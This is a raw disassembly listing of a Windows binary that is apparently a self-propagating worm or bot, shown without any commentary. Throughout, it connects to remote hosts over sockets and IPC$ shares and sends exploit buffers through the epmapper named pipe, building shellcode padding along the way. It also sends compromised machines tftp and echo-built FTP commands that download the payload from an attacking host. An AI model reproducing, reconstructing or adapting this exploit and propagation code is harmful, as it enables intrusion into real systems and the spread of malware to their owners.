lea eax, [ebp+var_10]
push eax
call sub_415B10
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_754]
push eax
call sub_4153F0
mov eax, dword_424FD8
add esp, 2Ch
mov [ebp+var_764], eax
loc_402BCA: ; CODE XREF: sub_40297A+1F7j
push 0E29h
lea eax, [ebp+var_2CA4]
push 31h
push eax
call sub_415390
movsx eax, [ebp+var_1]
add esp, 0Ch
add eax, 4
mov esi, dword_4211F0
push 0
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jnz short loc_402C0B
loc_402C04: ; CODE XREF: sub_40297A+2C2j
; sub_40297A+2EDj ...
xor al, al
jmp loc_402DCC
; ---------------------------------------------------------------------------
loc_402C0B: ; CODE XREF: sub_40297A+288j
mov edi, dword_4211EC
mov ebx, 640h
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 68h
push offset dword_424BF8
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz short loc_402C04
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 0A0h
push offset dword_424C68
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz short loc_402C04
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
cmp [ebp+arg_C0], 0
jz loc_402D37
push 68h
lea eax, [ebp+var_89B0]
push offset dword_424E28
push eax
call sub_4153F0
lea eax, [ebp+var_4800]
push 1B5Ah
push eax
lea eax, [ebp+var_8948]
push eax
call sub_4153F0
push 70h
lea eax, [ebp+var_68D8]
push offset dword_424E98
push eax
call sub_4153F0
lea eax, [ebp+var_376C]
push 0A5Eh
push eax
lea eax, [ebp+var_6868]
push eax
call sub_4153F0
push 84h
lea eax, [ebp+var_5DA4]
push offset dword_424F10
push eax
call sub_4153F0
add esp, 3Ch
lea eax, [ebp+var_89B0]
push 0
push 10FCh
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_402C04
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi ; recv
push 0
push 0FDCh
lea eax, [ebp+var_68D8]
jmp short loc_402D8F
; ---------------------------------------------------------------------------
loc_402D37: ; CODE XREF: sub_40297A+308j
push 7Ch
lea eax, [ebp+var_2CA4]
push offset dword_424D10
push eax
call sub_4153F0
lea eax, [ebp+var_F10]
push 7D0h
push eax
lea eax, [ebp+var_2C28]
push eax
call sub_4153F0
push 90h
lea eax, [ebp+var_2458]
push offset off_424D90
push eax
call sub_4153F0
add esp, 24h
and [ebp+var_1FAD], 0
lea eax, [ebp+var_2CA4]
push 0
push 0CF8h
loc_402D8F: ; CODE XREF: sub_40297A+3BBj
push eax
push [ebp+arg_BC]
call esi ; send
cmp eax, 0FFFFFFFFh
jz loc_402C04
push 12Ch
call dword_421060 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40282F
add esp, 0BCh
test al, al
setnz al
loc_402DCC: ; CODE XREF: sub_40297A+28Cj
pop edi
pop esi
pop ebx
leave
retn
sub_40297A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402DD1 proc near ; CODE XREF: .text:00403E41p
var_858 = byte ptr -858h
var_814 = byte ptr -814h
var_218 = byte ptr -218h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp+var_18]
push edi
push eax
mov [ebp+var_8], edi
call sub_415390
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_18], 2
push eax
call dword_4211DC ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_14], eax
call dword_4211E0 ; ntohs
push 6
push 1
push 2
mov [ebp+var_16], ax
call dword_4211E4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+var_4], esi
jz loc_402ECE
lea eax, [ebp+var_18]
push 10h
push eax
push esi
call dword_4211E8 ; connect
cmp eax, 0FFFFFFFFh
jz loc_402ECE
mov ebx, dword_4211F0
push edi
push 89h
push offset dword_424970
push esi
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_402ECE
push edi
mov edi, 640h
lea eax, [ebp+var_858]
push edi
push eax
push esi
mov esi, dword_4211EC
call esi ; recv
push 0
push 0A8h
push offset dword_424A00
push [ebp+var_4]
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_402ECE
push 0
lea eax, [ebp+var_858]
push edi
push eax
push [ebp+var_4]
call esi ; recv
push 0
push 0DEh
push offset dword_424AB0
push [ebp+var_4]
call ebx ; send
cmp eax, 0FFFFFFFFh
jz short loc_402ECE
mov ebx, [ebp+var_4]
push 0
lea eax, [ebp+var_858]
push edi
push eax
push ebx
call esi ; recv
movsx eax, [ebp+var_814]
sub eax, 30h
jz short loc_402ED9
dec eax
jz short loc_402ED5
loc_402ECE: ; CODE XREF: sub_402DD1+57j
; sub_402DD1+6Dj ...
xor eax, eax
jmp loc_402F6F
; ---------------------------------------------------------------------------
loc_402ED5: ; CODE XREF: sub_402DD1+FBj
push 0
jmp short loc_402EFD
; ---------------------------------------------------------------------------
loc_402ED9: ; CODE XREF: sub_402DD1+F8j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40297A
add esp, 0C4h
test al, al
jnz short loc_402F1D
push 1
loc_402EFD: ; CODE XREF: sub_402DD1+106j
push ebx
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40297A
add esp, 0C4h
test al, al
jz short loc_402F24
loc_402F1D: ; CODE XREF: sub_402DD1+128j
mov [ebp+var_8], 1
loc_402F24: ; CODE XREF: sub_402DD1+14Aj
push ebx
call dword_4211F4 ; closesocket
cmp [ebp+var_8], 0
jz short loc_402F6C
push 0
lea eax, [ebp+var_218]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412BD1
lea eax, [ebp+var_218]
push eax
call sub_40B078
mov eax, [ebp+arg_A8]
add esp, 18h
imul eax, 3Ch
lea eax, dword_427390[eax]
inc dword ptr [eax]
loc_402F6C: ; CODE XREF: sub_402DD1+15Ej
xor eax, eax
inc eax
loc_402F6F: ; CODE XREF: sub_402DD1+FFj
pop edi
pop esi
pop ebx
leave
retn
sub_402DD1 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
lea esi, [esp+10h]
sub esp, 0BCh
mov dword ptr [esp+16Ch], 87h
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4033B6
push 2Fh
lea esi, [esp+0D0h]
pop ecx
mov dword ptr [esp+16Ch], 1BDh
mov edi, esp
mov ebx, eax
rep movsd
call sub_403C74
add esp, 0BCh
test ebx, ebx
jnz short loc_402FC6
test eax, eax
jz short loc_402FC9
loc_402FC6: ; CODE XREF: .text:00402FC0j
xor eax, eax
inc eax
loc_402FC9: ; CODE XREF: .text:00402FC4j
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402FCD proc near ; CODE XREF: sub_4033B6+28p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset aIpc ; "\\IPC$"
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_425638 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_43B658
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call dword_421064 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415BBF
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415BBF
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_43B654
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_43CAC4
cmp eax, 5
mov ebx, 4C3h
jz short loc_403091
cmp eax, ebx
jnz short loc_40309B
loc_403091: ; CODE XREF: sub_402FCD+BEj
push edi
push edi
push edi
push esi
call dword_43CAC4
loc_40309B: ; CODE XREF: sub_402FCD+C2j
cmp eax, 5
jz short loc_4030A9
cmp eax, ebx
jz short loc_4030A9
xor eax, eax
inc eax
jmp short loc_4030AB
; ---------------------------------------------------------------------------
loc_4030A9: ; CODE XREF: sub_402FCD+D1j
; sub_402FCD+D5j
xor eax, eax
loc_4030AB: ; CODE XREF: sub_402FCD+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_402FCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030B0 proc near ; CODE XREF: sub_4033B6+7Ap
; sub_4033B6+15Ap
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset aIpc ; "\\IPC$"
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_425638 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_43B658
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call dword_421064 ; MultiByteToWideChar
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415BBF
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415BBF
add esp, 10h
jmp short loc_40314E
; ---------------------------------------------------------------------------
loc_403143: ; CODE XREF: sub_4030B0+AFj
push 7D0h
call dword_421060 ; Sleep
loc_40314E: ; CODE XREF: sub_4030B0+91j
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_43C964
test eax, eax
jnz short loc_403143
pop edi
inc eax
pop esi
leave
retn
sub_4030B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403166 proc near ; CODE XREF: sub_4033B6+A6p
; sub_4033B6+1E7p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_415B90
push esi
push edi
push offset byte_42C2B4
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_414C51
mov edi, eax
add esp, 10h
test edi, edi
jz loc_4033B2
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_4153F0
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_415390
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_4153F0
lea esi, [edi+0D7h]
jmp short loc_403228
; ---------------------------------------------------------------------------
loc_4031EA: ; CODE XREF: sub_403166+D0j
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_4153F0
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_415390
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_4153F0
lea esi, [esi+edi+30h]
loc_403228: ; CODE XREF: sub_403166+82j
add esp, 24h
mov eax, esi
cdq
push 10h
pop ecx
idiv ecx
cmp edx, 0Ch
jnz short loc_4031EA
cmp [ebp+arg_C4], 0
jz short loc_403253
cmp [ebp+arg_C0], 3
jz short loc_40325C
cmp [ebp+arg_C0], 0
jmp short loc_40325A
; ---------------------------------------------------------------------------
loc_403253: ; CODE XREF: sub_403166+D9j
cmp [ebp+arg_C0], 3
loc_40325A: ; CODE XREF: sub_403166+EBj
jnz short loc_403265
loc_40325C: ; CODE XREF: sub_403166+E2j
push 4
push offset dword_425634
jmp short loc_40326C
; ---------------------------------------------------------------------------
loc_403265: ; CODE XREF: sub_403166:loc_40325Aj
push 4
push offset dword_425630
loc_40326C: ; CODE XREF: sub_403166+FDj
lea eax, [ebp+var_1FE0]
push eax
call sub_4153F0
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_425168
push eax
call sub_4153F0
push 10h
lea eax, [ebp+var_CA4]
push offset dword_4254CC
push eax
call sub_4153F0
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_4153F0
lea edi, [esi+370h]
push 3Ch
push offset off_4254E0
lea eax, [ebp+edi+var_1004]
push eax
call sub_4153F0
add edi, 3Ch
push 30h
push offset dword_425520
lea eax, [ebp+edi+var_1004]
push eax
call sub_4153F0
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_415BE9
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_415390
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_4153F0
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_4033B2: ; CODE XREF: sub_403166+3Ej
pop edi
pop esi
leave
retn
sub_403166 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4033B6 proc near ; CODE XREF: .text:00402F93p
; sub_4076CB+1D7p
; DATA XREF: ...
var_1338 = byte ptr -1338h
var_338 = byte ptr -338h
var_138 = byte ptr -138h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
mov eax, 1338h
call sub_415B90
cmp [ebp+arg_A0], 1BDh
push ebx
push esi
push edi
jnz loc_403524
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+arg_4]
push eax
call sub_402FCD
pop ecx
test eax, eax
pop ecx
jz loc_403634
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_138]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_415316
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp+var_138]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call dword_421078 ; CreateFileA
mov [ebp+var_4], eax
cmp eax, 0FFFFFFFFh
lea eax, [ebp+arg_4]
jnz short loc_40343B
loc_40342F: ; CODE XREF: sub_4033B6+126j
push eax
call sub_4030B0
pop ecx
jmp loc_403634
; ---------------------------------------------------------------------------
loc_40343B: ; CODE XREF: sub_4033B6+77j
push 2
push eax
call sub_412A1D
pop ecx
lea esi, [ebp+arg_0]
pop ecx
push 1
push eax
lea eax, [ebp+var_10]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403166
add esp, 0C8h
cmp eax, ebx
mov [ebp+var_8], eax
jz short loc_4034D0
mov edi, 186A0h
push edi
call sub_415BE9
mov esi, eax
push edi
push ebx
push esi
call sub_415390
add esp, 10h
lea eax, [ebp+var_C]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_425118
push [ebp+var_4]
call dword_421074 ; TransactNamedPipe
cmp byte ptr [esi+2], 0Ch
jnz short loc_4034C0
lea eax, [ebp+var_14]
push ebx
push eax
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
call dword_421070 ; WriteFile
test eax, eax
jnz short loc_4034E1
loc_4034C0: ; CODE XREF: sub_4033B6+F0j
push esi
call sub_415C9B
push [ebp+var_8]
call sub_415C9B
pop ecx
pop ecx
loc_4034D0: ; CODE XREF: sub_4033B6+B6j
push [ebp+var_4]
call dword_42106C ; CloseHandle
lea eax, [ebp+arg_4]
jmp loc_40342F
; ---------------------------------------------------------------------------
loc_4034E1: ; CODE XREF: sub_4033B6+108j
lea eax, [ebp+var_C]
push ebx
push eax
push edi
push esi
push [ebp+var_4]
call dword_421068 ; ReadFile
push [ebp+var_8]
mov edi, eax
call sub_415C9B
push esi
call sub_415C9B
pop ecx
pop ecx
push [ebp+var_4]
call dword_42106C ; CloseHandle
lea eax, [ebp+arg_4]
push eax
call sub_4030B0
cmp edi, 1
pop ecx
jnz loc_403645
jmp loc_403634
; ---------------------------------------------------------------------------
loc_403524: ; CODE XREF: sub_4033B6+1Aj
lea eax, [ebp+arg_4]
push 1
push eax
call sub_412A1D
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_403634
xor ebx, ebx
push ebx
push 1
push 2
call dword_43CAA4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_403634
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+arg_A0]
call dword_43CA24 ; ntohs
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_43CA64 ; inet_addr
mov [ebp+var_20], eax
push ebx
lea eax, [ebp+var_C]
push esi
push eax
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403166
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_4035B6
push [ebp+var_4]
jmp short loc_40362E
; ---------------------------------------------------------------------------
loc_4035B6: ; CODE XREF: sub_4033B6+1F9j
mov edi, [ebp+var_4]
lea eax, [ebp+var_24]
push 10h
push eax
push edi
call dword_43C9CC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4035CE
loc_4035CB: ; CODE XREF: sub_4033B6+22Aj
push esi
jmp short loc_403627
; ---------------------------------------------------------------------------
loc_4035CE: ; CODE XREF: sub_4033B6+213j
push ebx
push 48h
push offset dword_425118
push edi
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4035CB
mov esi, 1000h
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_43CA3C ; recv
push ebx
push [ebp+var_C]
push [ebp+var_8]
push edi
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40360F
push [ebp+var_8]
jmp short loc_403627
; ---------------------------------------------------------------------------
loc_40360F: ; CODE XREF: sub_4033B6+252j
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_43CA3C ; recv
push [ebp+var_8]
cmp eax, 0FFFFFFFFh
jnz short loc_403638
loc_403627: ; CODE XREF: sub_4033B6+216j
; sub_4033B6+257j
call sub_415C9B
pop ecx
push edi
loc_40362E: ; CODE XREF: sub_4033B6+1FEj
call dword_43CABC ; closesocket
loc_403634: ; CODE XREF: sub_4033B6+31j
; sub_4033B6+80j ...
xor eax, eax
jmp short loc_4036B1
; ---------------------------------------------------------------------------
loc_403638: ; CODE XREF: sub_4033B6+26Fj
call sub_415C9B
pop ecx
push edi
call dword_43CABC ; closesocket
loc_403645: ; CODE XREF: sub_4033B6+163j
xor esi, esi
loc_403647: ; CODE XREF: sub_4033B6+2B1j
lea eax, [ebp+var_338]
push eax
call sub_40B158
test eax, eax
pop ecx
jnz short loc_40366B
push 1388h
call dword_421060 ; Sleep
inc esi
cmp esi, 6
jl short loc_403647
jmp short loc_4036AE
; ---------------------------------------------------------------------------
loc_40366B: ; CODE XREF: sub_4033B6+2A0j
cmp [ebp+arg_B4], ebx
jnz short loc_403690
push ebx
lea eax, [ebp+var_338]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_403690: ; CODE XREF: sub_4033B6+2BBj
lea eax, [ebp+var_338]
push eax
call sub_40B078
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
lea eax, dword_427390[eax]
inc dword ptr [eax]
loc_4036AE: ; CODE XREF: sub_4033B6+2B3j
xor eax, eax
inc eax
loc_4036B1: ; CODE XREF: sub_4033B6+280j
pop edi
pop esi
pop ebx
leave
retn
sub_4033B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4036B6 proc near ; DATA XREF: .text:00423004o
jmp $+5
sub_4036B6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4036BB proc near
push 0BB80h
push 76Ch
call sub_413F12
pop ecx
mov dword_43B65C, eax
pop ecx
retn
sub_4036BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4036D2 proc near ; CODE XREF: sub_403833+42Cp
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_43CA64 ; inet_addr
mov [ebp+var_C], eax
mov ax, word ptr dword_43B65C
push eax
call dword_43CA24 ; ntohs
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_43CAA4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40380C
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43C9CC ; connect
cmp eax, 0FFFFFFFFh
jz loc_40380C
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43CA3C ; recv
mov esi, offset byte_42C2B4
push esi
push esi
push [ebp+arg_0]
call sub_40A08A
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41588A
add esp, 18h
push esi
push esi
push dword_43B670
push [ebp+arg_0]
call sub_40A08A
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41588A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40380C
push 1F4h
call dword_421060 ; Sleep
push esi
push offset dword_425090
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_403810
loc_40380C: ; CODE XREF: sub_4036D2+51j
; sub_4036D2+67j ...
xor al, al
jmp short loc_40382E
; ---------------------------------------------------------------------------
loc_403810: ; CODE XREF: sub_4036D2+138j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43CA3C ; recv
push ebx
call dword_43CABC ; closesocket
mov al, 1
loc_40382E: ; CODE XREF: sub_4036D2+13Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4036D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403833 proc near ; CODE XREF: sub_403C74+125p
; sub_403C74+147p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_6 = dword ptr -6
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_415B90
mov eax, dword_425110
push ebx
mov [ebp+var_10], eax
mov eax, dword_425114
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset loc_425104
push eax
call sub_415316
add esp, 0Ch
xor ebx, ebx
xor eax, eax
loc_40386C: ; CODE XREF: sub_403833+4Fj
mov cl, [ebp+eax+var_3C]
mov [ebp+eax*2+var_103], bl
mov [ebp+eax*2+var_104], cl
inc eax
cmp eax, 28h
jl short loc_40386C
push 60h
lea eax, [ebp+var_B4]
push offset dword_425B58
push eax
call sub_4153F0
lea eax, [ebp+var_3C]
push eax
call sub_415B10
add eax, eax
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_4153F0
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_0+3)
push eax
call sub_415B10
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_4153F0
lea eax, [ebp+var_3C]
push eax
call sub_415B10
add al, 1Ah
push 1
add al, al
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_4153F0
lea eax, [ebp+var_3C]
push eax
call sub_415B10
add al, al
push 1
add al, 9
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_4153F0
mov ax, word ptr dword_43B65C
add esp, 2Ch
push eax
call dword_43CA24 ; ntohs
xor eax, 9999h
push 2
mov [ebp+var_6], eax
lea eax, [ebp+var_6]
push eax
push offset dword_425850
call sub_4153F0
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_403A31
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_415390
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_425F98[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_4153F0
mov esi, offset loc_4257A0
push esi
call sub_415B10
push eax
